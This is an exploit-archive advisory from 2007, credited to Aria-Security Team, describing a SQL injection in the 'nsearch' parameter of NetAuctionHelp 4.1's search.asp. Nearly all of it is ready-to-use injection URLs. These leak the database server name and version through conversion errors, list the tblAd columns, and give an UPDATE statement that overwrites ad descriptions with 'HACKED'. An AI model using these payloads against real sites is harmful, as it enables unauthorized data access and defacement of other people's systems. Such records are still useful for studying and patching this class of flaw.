[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : NetAuctionHelp 4.1 (nsearch) Remote SQL Injection Vulnerability
# Published : 2007-11-22
# Author : Aria-Security Team
# Previous Title : VigileCMS <= 1.8 Stealth Remote Command Execution Exploit
# Next Title : Content Injector 1.52 (index.php cat) Remote SQL Injection Vulnerability
Aria-Security Net
http://Aria-Security.Net
------------------------
Vendor: http://www.netauctionhelp.com
PoC:
search.asp ?sort=ni&category=&categoryname=&kwsearch=&nsearch=[SQL INJECTION]
search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch='having 1=1--
search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@servername)--
search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@version)--
tblAd.id
tblAd.aspectratio
tblAd.title
tblAd.imagepath
tblAd.startdate
tblAd.enddate
tblAd.id_seller
tblAd.descr
-1' UPDATE tblAd set descr= 'HACKED' Where(ID= '1');--
this code with update itemdetl.asp?id=1
Credit goes to Aria-Security.Net
Greetz: AurA
# www.Syue.com [2007-11-22]